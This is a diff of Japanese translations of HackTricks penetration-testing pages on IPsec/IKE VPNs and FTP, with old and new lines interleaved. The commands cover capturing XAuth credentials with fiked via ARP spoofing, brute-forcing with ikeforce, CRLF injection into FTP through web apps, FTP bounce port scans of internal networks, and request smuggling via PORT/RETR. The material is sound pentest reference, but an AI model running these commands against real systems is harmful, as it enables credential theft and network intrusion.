**アグレッシブモードIKE** は、**事前共有キー(PSK)** と組み合わせて、**グループ認証** の目的で一般的に使用されます。この方法は、**拡張認証(XAuth)** によって補完され、追加の **ユーザー認証** のレイヤーを導入します。このような認証は通常、**Microsoft Active Directory**、**RADIUS**、または類似のシステムを利用します。
|
||||
|
||||
**IKEv2** に移行すると、ユーザーの認証の目的で **XAuth** の代わりに **EAP(拡張認証プロトコル)** が使用されることがあります。この変更は、セキュアな通信プロトコル内での認証プラクティスの進化を示しています。
|
||||
**IKEv2** に移行すると、ユーザーの認証の目的で **XAuth** の代わりに **EAP(拡張認証プロトコル)** が使用されるという注目すべき変化が見られます。この変更は、セキュアな通信プロトコル内での認証プラクティスの進化を強調しています。
|
||||
|
||||
|
||||
### ローカルネットワークのMitMによる資格情報のキャプチャ
|
||||
|
||||
したがって、_fiked_ を使用してログインデータをキャプチャし、デフォルトのユーザー名があるかどうかを確認できます(IKEトラフィックをスニッフィングするために `fiked` にリダイレクトする必要があります。これはARPスプーフィングを使用して行うことができます、[詳細情報](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/))。Fiked はVPNエンドポイントとして機能し、XAuthの資格情報をキャプチャします。
|
||||
したがって、_fiked_ を使用してログインデータをキャプチャし、デフォルトのユーザー名があるかどうかを確認できます(IKEトラフィックを `fiked` にリダイレクトしてスニッフィングする必要があります。これはARPスプーフィングを使用して行うことができます、[詳細はこちら](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/))。Fiked はVPNエンドポイントとして機能し、XAuthの資格情報をキャプチャします。
|
||||
```bash
|
||||
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
|
||||
```
|
||||
### XAUTHユーザー名とパスワードのブルートフォース攻撃(ikeforceを使用)
|
||||
### Brute-forcing XAUTH username ad password with ikeforce
|
||||
|
||||
**XAUTH**(有効なグループ名**id**と**psk**がわかっている場合)をブルートフォースするには、ユーザー名またはユーザー名のリストとパスワードのリストを使用できます。
|
||||
**XAUTH**(有効なグループ名**id**と**psk**を知っている場合)をブルートフォースするには、ユーザー名またはユーザー名のリストとパスワードのリストを使用できます。
|
||||
```bash
|
||||
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
|
||||
```
|
||||
This way, ikeforce will try to connect using each combination of username:password.
|
||||
この方法では、ikeforce はユーザー名:パスワードの各組み合わせを使用して接続を試みます。
|
||||
|
||||
If you found one or several valid transforms just use them like in the previous steps.
|
||||
1つ以上の有効なトランスフォームが見つかった場合は、前の手順と同様にそれらを使用してください。
|
||||
|
||||
## IPSEC VPNでの認証
|
||||
## IPSEC VPN での認証
|
||||
|
||||
Kaliでは、IPsecトンネルを確立するために**VPNC**が利用されます。**プロファイル**は`/etc/vpnc/`ディレクトリに配置する必要があります。これらのプロファイルは、_**vpnc**_コマンドを使用して開始できます。
|
||||
Kali では、IPsec トンネルを確立するために **VPNC** が利用されます。**プロファイル** は `/etc/vpnc/` ディレクトリに配置する必要があります。これらのプロファイルは _**vpnc**_ コマンドを使用して開始できます。
|
||||
|
||||
以下のコマンドと設定は、VPNCを使用してVPN接続を設定するプロセスを示しています:
|
||||
以下のコマンドと設定は、VPNC を使用して VPN 接続を設定するプロセスを示しています:
|
||||
```bash
|
||||
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
|
||||
IPSec gateway [VPN_GATEWAY_IP]
|
||||
|
@ -231,7 +239,7 @@ root@system:~# ifconfig tun0
|
|||
- `[VPN_CONNECTION_ID]` を VPN 接続の識別子に置き換えます。
|
||||
- `[VPN_GROUP_SECRET]` を VPN のグループシークレットに置き換えます。
|
||||
- `[VPN_USERNAME]` と `[VPN_PASSWORD]` を VPN 認証資格情報に置き換えます。
|
||||
- `vpnc` が開始されると割り当てられるプロセス ID を `[PID]` が象徴しています。
|
||||
- `[PID]` は、`vpnc` が開始されると割り当てられるプロセス ID を示します。
|
||||
|
||||
VPN を構成する際には、プレースホルダーを実際で安全な値で置き換えることを確認してください。
|
||||
|
||||
|
@ -246,17 +254,23 @@ VPN を構成する際には、プレースホルダーを実際で安全な値
|
|||
|
||||
* `port:500 IKE`
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks をサポートする他の方法:
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks を PDF でダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
* **💬 [Discord グループ](https://discord.gg/hRep4RUj7f)** に参加するか、 [telegram グループ](https://t.me/peass) に参加するか、 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする。
|
||||
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の GitHub リポジトリに PR を提出して、あなたのハッキングトリックを共有してください。
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
```
|
||||
|
|
|
@ -5,13 +5,21 @@
|
|||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
|
||||
* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションです。
|
||||
* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングトリックを共有するために、** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## 基本情報
|
||||
|
||||
**ファイル転送プロトコル(FTP)**は、サーバーとクライアント間でコンピューターネットワークを介してファイルを転送するための標準プロトコルとして機能します。\
|
||||
|
@ -24,11 +32,11 @@ PORT STATE SERVICE
|
|||
```
|
||||
### 接続のアクティブとパッシブ
|
||||
|
||||
**アクティブFTP**では、FTP **クライアント**は最初に制御**接続**をポートNからFTPサーバーのコマンドポート(ポート21)に**イニシエート**します。その後、**クライアント**はポート**N+1**で**リッスン**し、ポートN+1をFTPサーバーに送信します。FTP **サーバー**はその後、データ**接続**を、**そのポートMからFTPクライアントのポートN+1**に**イニシエート**します。
|
||||
**アクティブFTP**では、FTP **クライアント**は最初に制御**接続**をポートNからFTPサーバーのコマンドポート(ポート21)に**イニシエート**します。**クライアント**はその後、ポート**N+1**で**リッスン**し、ポートN+1をFTPサーバーに送信します。FTP **サーバー**はその後、**そのポートMからFTPクライアントのポートN+1**にデータ**接続**を**イニシエート**します。
|
||||
|
||||
ただし、FTPクライアントに外部からの着信データ接続を制御するファイアウォール設定がある場合、アクティブFTPは問題になる可能性があります。そのための実現可能な解決策はパッシブFTPです。
|
||||
|
||||
**パッシブFTP**では、クライアントは制御接続をポートNからFTPサーバーのポート21に**イニシエート**します。その後、クライアントは**passvコマンド**を発行します。サーバーはその後、クライアントに自身のポート番号Mの1つを送信します。そして、**クライアント**は**そのポートPからFTPサーバーのポートM**にデータ**接続**を**イニシエート**します。
|
||||
**パッシブFTP**では、クライアントは制御接続をポートNからFTPサーバーのポート21に**イニシエート**します。その後、クライアントは**passvコマンド**を発行します。サーバーはクライアントに自身のポート番号Mの1つを送信します。そして、**クライアント**はデータ**接続**を**そのポートPからFTPサーバーのポートM**に**イニシエート**します。
|
||||
|
||||
ソース: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
|
||||
|
||||
|
@ -38,7 +46,7 @@ PORT STATE SERVICE
|
|||
|
||||
## 列挙
|
||||
|
||||
### バナーラボ取得
|
||||
### バナー取得
|
||||
```bash
|
||||
nc -vn <IP> 21
|
||||
openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any
|
||||
|
@ -115,24 +123,24 @@ ftp <IP>
|
|||
|
||||
### Automated
|
||||
|
||||
匿名ログインとバウンスFTPチェックは、nmapが**-sC**オプションまたはデフォルトで実行します。
|
||||
匿名ログインとバウンスFTPチェックは、nmapの**-sC**オプションまたはデフォルトで実行されます。
|
||||
```bash
|
||||
nmap --script ftp-* -p 21 <ip>
|
||||
```
|
||||
## ブラウザ接続
|
||||
|
||||
FTPサーバーには、Firefoxなどのブラウザを使用して次のようなURLを使用して接続できます:
|
||||
FTPサーバーには、次のようなURLを使用して、ブラウザ(例:Firefox)で接続できます:
|
||||
```bash
|
||||
ftp://anonymous:anonymous@10.10.10.98
|
||||
```
|
||||
注意:もし**webアプリケーション**がユーザーによって制御されたデータを**直接FTPサーバーに送信**している場合、ダブルURLエンコード`%0d%0a`(ダブルURLエンコードでは`%250d%250a`となります)バイトを送信して**FTPサーバーに任意のアクションを実行**させることができます。この可能な任意のアクションの1つは、ユーザーが制御するサーバーからコンテンツをダウンロードしたり、ポートスキャンを実行したり、他のプレーンテキストベースのサービス(例:http)と通信を試みることです。
|
||||
注意してください、**webアプリケーション**がユーザーによって制御されたデータを**直接FTPサーバーに送信**している場合、ダブルURLエンコード`%0d%0a`(ダブルURLエンコードでは`%250d%250a`となります)バイトを送信して、**FTPサーバーに任意のアクションを実行**させることができます。可能な任意のアクションの1つは、ユーザーが制御するサーバーからコンテンツをダウンロードしたり、ポートスキャンを実行したり、他のプレーンテキストベースのサービス(例:http)と通信を試みることです。
|
||||
|
||||
## FTPからすべてのファイルをダウンロード
|
||||
```bash
|
||||
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
|
||||
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all
|
||||
```
|
||||
もしユーザー名/パスワードに特殊文字が含まれている場合、[次のコマンド](https://stackoverflow.com/a/113900/13647948) を使用できます:
|
||||
ユーザー名/パスワードに特殊文字が含まれている場合、[次のコマンド](https://stackoverflow.com/a/113900/13647948) を使用できます:
|
||||
```bash
|
||||
wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
||||
```
|
||||
|
@ -141,7 +149,7 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
|||
- **`USER ユーザー名`**
|
||||
- **`PASS パスワード`**
|
||||
- **`HELP`** サーバーはサポートされているコマンドを示します
|
||||
- **`PORT 127,0,0,1,0,80`** これはFTPサーバーにIP 127.0.0.1のポート80と接続するよう指示します(5番目の文字を "0" とし、6番目を10進数のポートにするか、ポートを16進数で表すために5番目と6番目を使用します)。
|
||||
- **`PORT 127,0,0,1,0,80`** これはFTPサーバーにIP 127.0.0.1のポート80と接続するよう指示します(5番目の文字を "0" とし、6番目を10進数でポートを表すか、ポートを16進数で表すために5番目と6番目を使用する必要があります)。
|
||||
- **`EPRT |2|127.0.0.1|80|`** これはFTPサーバーにIP 127.0.0.1のポート80とのTCP接続("2"で示される)を確立するよう指示します。このコマンドは**IPv6をサポート**しています。
|
||||
- **`LIST`** これは現在のフォルダ内のファイルリストを送信します
|
||||
- **`LIST -R`** 再帰的にリストします(サーバーが許可する場合)
|
||||
|
@ -149,7 +157,7 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
|||
- **`STOR /path/something.txt`** `APPE`と同様ですが、ファイルを上書きします
|
||||
- **`STOU /path/something.txt`** `APPE`と同様ですが、存在する場合は何もしません。
|
||||
- **`RETR /path/to/file`** パッシブまたはポート接続を確立する必要があります。その後、FTPサーバーはその接続を介して指定されたファイルを送信します
|
||||
- **`REST 6`** これは次回`RETR`を使用して何かを送信する際に、サーバーに6番目のバイトから開始するように指示します。
|
||||
- **`REST 6`** これは次回`RETR`を使用して何かを送信する際に、サーバーに6番目から開始するよう指示します。
|
||||
- **`TYPE i`** 転送をバイナリに設定します
|
||||
- **`PASV`** これはパッシブ接続を開き、ユーザーが接続できる場所を示します
|
||||
- **`PUT /tmp/file.txt`** 指定されたファイルをFTPにアップロードします
|
||||
|
@ -162,30 +170,25 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
|||
|
||||
[**ここでFTPサーバーを悪用してポートをスキャンする方法を学んでください。**](ftp-bounce-attack.md)
|
||||
|
||||
また、この動作を悪用してFTPサーバーを他のプロトコルとやり取りさせることもできます。HTTPリクエストを含むファイルをアップロードし、脆弱なFTPサーバーにそれを任意のHTTPサーバーに送信させたり(_新しい管理者ユーザーを追加するために?_)、FTPリクエストをアップロードし、脆弱なFTPサーバーに異なるFTPサーバーからファイルをダウンロードさせたりできます。\
|
||||
また、この動作を悪用してFTPサーバーを他のプロトコルとやり取りさせることもできます。HTTPリクエストを含むファイルをアップロードし、脆弱なFTPサーバーにそれを任意のHTTPサーバーに送信させることができます(_新しい管理者ユーザーを追加するために?_)またはFTPリクエストをアップロードし、脆弱なFTPサーバーに異なるFTPサーバーからファイルをダウンロードさせることもできます。\
|
||||
理論は簡単です:
|
||||
|
||||
1. **(テキストファイル内に)リクエストを脆弱なサーバーにアップロードします。** 別のHTTPまたはFTPサーバーと通信する場合は、`0x0d 0x0a`で行を変更する必要があります
|
||||
2. **送信したくない文字を送信しないようにするために`REST X`を使用します**(おそらくリクエストをファイル内にアップロードする際に、最初にいくつかの画像ヘッダーを追加する必要があるかもしれません)
|
||||
2. **送信したくない文字を送信しないようにするために`REST X`を使用します**(おそらくリクエストをファイル内にアップロードするために、最初にいくつかの画像ヘッダーを配置する必要があるかもしれません)
|
||||
3. **任意のサーバーとサービスに接続するために`PORT`を使用します**
|
||||
4. **保存されたリクエストをサーバーに送信するために`RETR`を使用します**
|
||||
|
||||
これはおそらく**「Socket not writable」のようなエラーを発生**させる可能性が高いです。**`RETR`でデータを送信するのに十分な接続がない**ためです。それを回避しようとする提案は次のとおりです:
|
||||
これはおそらく**「Socket not writable」のようなエラーを発生**させる可能性が高いです。**`RETR`でデータを送信するのに十分な接続がないため**です。それを回避しようとする提案は次のとおりです:
|
||||
|
||||
- HTTPリクエストを送信している場合は、**少なくとも\~0.5MBまで同じリクエストを繰り返します**。次のように:
|
||||
|
||||
{% file src="../../.gitbook/assets/posts (1).txt" %}
|
||||
posts.txt
|
||||
{% endfile %}
|
||||
|
||||
- プロトコルに関連する「ジャンク」データでリクエストを埋めます(FTPに話しかける場合は、ジャンクコマンドを使用するか、ファイルを取得するために`RETR`命令を繰り返します)
|
||||
- HTTPリクエストを送信している場合は、**少なくとも\~0.5MBまで同じリクエストを繰り返します**。
|
||||
- プロトコルに関連する「ジャンク」データでリクエストを埋めます(FTPに話しかける場合、ジャンクコマンドを使用するか、ファイルを取得するために`RETR`命令を繰り返します)
|
||||
- リクエストを多くのヌル文字や他の文字で埋めます(行ごとに分割されているかどうか)
|
||||
|
||||
とにかく、FTPサーバーが異なるFTPサーバーからファイルをダウンロードするようにするためにこれを悪用する方法についての[古い例](ftp-bounce-download-2oftp-file.md)があります。
|
||||
とにかく、ここには[FTPサーバーが異なるFTPサーバーからファイルをダウンロードするようにするためにこれを悪用する方法に関する古い例があります。](ftp-bounce-download-2oftp-file.md)
|
||||
|
||||
## Filezillaサーバーの脆弱性
|
||||
|
||||
**FileZilla**は通常、**FileZilla-Server**(ポート14147)の**管理サービス**に**ローカル**に**バインド**されます。このポートへのアクセスのために**自分のマシン**から**トンネル**を作成できれば、**空のパスワード**で**接続**し、FTPサービスのために**新しいユーザー**を**作成**することができます。
|
||||
**FileZilla**は通常、**FileZilla-Server**(ポート14147)の**管理サービス**に**ローカル**に**バインド**されます。このポートにアクセスするために**自分のマシン**から**トンネル**を作成できれば、**空のパスワード**で**接続**し、FTPサービスのために**新しいユーザー**を**作成**することができます。
|
||||
|
||||
## 設定ファイル
|
||||
```
|
||||
|
@ -196,24 +199,32 @@ vsftpd.conf
|
|||
```
|
||||
### ポストエクスプロイテーション
|
||||
|
||||
vsFTPdのデフォルト構成は `/etc/vsftpd.conf` にあります。ここでは、いくつかの危険な設定が見つかります:
|
||||
vsFTPdのデフォルト構成は `/etc/vsftpd.conf` にあります。ここにはいくつかの危険な設定があります:
|
||||
|
||||
* `anonymous_enable=YES`
|
||||
* `anon_upload_enable=YES`
|
||||
* `anon_mkdir_write_enable=YES`
|
||||
* `anon_root=/home/username/ftp` - 匿名ユーザーのディレクトリ
|
||||
* `chown_uploads=YES` - 匿名でアップロードされたファイルの所有権を変更
|
||||
* `chown_username=username` - 匿名でアップロードされたファイルの所有権を与えられるユーザー
|
||||
* `local_enable=YES` - ローカルユーザーのログインを有効にする
|
||||
* `no_anon_password=YES` - 匿名からのパスワードを要求しない
|
||||
* `write_enable=YES` - コマンドを許可: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, および SITE
|
||||
- `anonymous_enable=YES`
|
||||
- `anon_upload_enable=YES`
|
||||
- `anon_mkdir_write_enable=YES`
|
||||
- `anon_root=/home/username/ftp` - 匿名ユーザーのディレクトリ
|
||||
- `chown_uploads=YES` - 匿名でアップロードされたファイルの所有権を変更
|
||||
- `chown_username=username` - 匿名でアップロードされたファイルの所有権を与えられるユーザー
|
||||
- `local_enable=YES` - ローカルユーザーのログインを有効にする
|
||||
- `no_anon_password=YES` - 匿名からのパスワードを要求しない
|
||||
- `write_enable=YES` - コマンドを許可: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, および SITE
|
||||
|
||||
### Shodan
|
||||
|
||||
* `ftp`
|
||||
* `port:21`
|
||||
- `ftp`
|
||||
- `port:21`
|
||||
|
||||
***
|
||||
***
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## HackTricks Automatic Commands
|
||||
```
|
||||
|
@ -269,12 +280,12 @@ Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP};
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を使って、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションです。
|
||||
* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングトリックを共有するためにPRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に**参加**するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングトリックを共有するために、PRを** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください**。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,39 +1,46 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>でAWSハッキングをゼロからヒーローまで学ぶ!</strong></summary>
|
||||
|
||||
HackTricks をサポートする他の方法:
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手してください
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**してください。
|
||||
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する
|
||||
- **ハッキングテクニックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
# FTP Bounce - スキャン
|
||||
|
||||
## マニュアル
|
||||
|
||||
1. 脆弱性のあるFTPに接続します
|
||||
2. スキャンしたい _\<IP:Port>_ と接続するように **`PORT`**または **`EPRT`**(どちらか1つだけ)を使用します:
|
||||
2. _\<IP:Port>_ と接続を確立するために**`PORT`**または**`EPRT`**(どちらか1つだけ)を使用します:
|
||||
|
||||
`PORT 172,32,80,80,0,8080`\
|
||||
`EPRT |2|172.32.80.80|8080|`
|
||||
3. **`LIST`**を使用します(これにより、FTPフォルダ内の現在のファイルリストが接続された _\<IP:Port>_ に送信されます)。可能な応答を確認します: `150 File status okay`(これはポートが開いていることを意味します)または `425 No connection established`(これはポートが閉じていることを意味します)
|
||||
4. `LIST`の代わりに **`RETR /file/in/ftp`** を使用し、類似の `Open/Close` 応答を探します。
|
||||
3. **`LIST`**を使用します(これにより、FTPフォルダ内の現在のファイルリストが接続された_IP:Port_に送信されます)。可能な応答を確認します:`150 File status okay`(これはポートが開いていることを意味します)または`425 No connection established`(これはポートが閉じていることを意味します)
|
||||
4. `LIST`の代わりに**`RETR /file/in/ftp`**を使用し、類似の`Open/Close`応答を探します。
|
||||
|
||||
**PORT**を使用した例(172.32.80.80のポート8080が開いており、ポート7777が閉じています):
|
||||
**PORT**を使用した例(172.32.80.80のポート8080が開いており、ポート7777が閉じています):
|
||||
|
||||
![](<../../.gitbook/assets/image (225).png>)
|
||||
|
||||
同じ例を **`EPRT`** を使用して(画像では認証が省略されています):
|
||||
同じ例を**`EPRT`**を使用して(画像では認証が省略されています):
|
||||
|
||||
![](<../../.gitbook/assets/image (226).png>)
|
||||
|
||||
`LIST`の代わりに `EPRT` を使用して開いているポート(異なる環境):
|
||||
`LIST`の代わりに`EPRT`を使用してポートを開く(異なる環境):
|
||||
|
||||
![](<../../.gitbook/assets/image (228).png>)
|
||||
|
||||
|
@ -43,16 +50,23 @@ nmap -b <name>:<pass>@<ftp_server> <victim>
|
|||
nmap -Pn -v -p 21,80 -b ftp:ftp@10.2.1.5 127.0.0.1 #Scan ports 21,80 of the FTP
|
||||
nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Scan the internal network (of the FTP) ports 21,22,445,80,443
|
||||
```
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)を使用して、ゼロからヒーローまでAWSハッキングを学ぶ</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
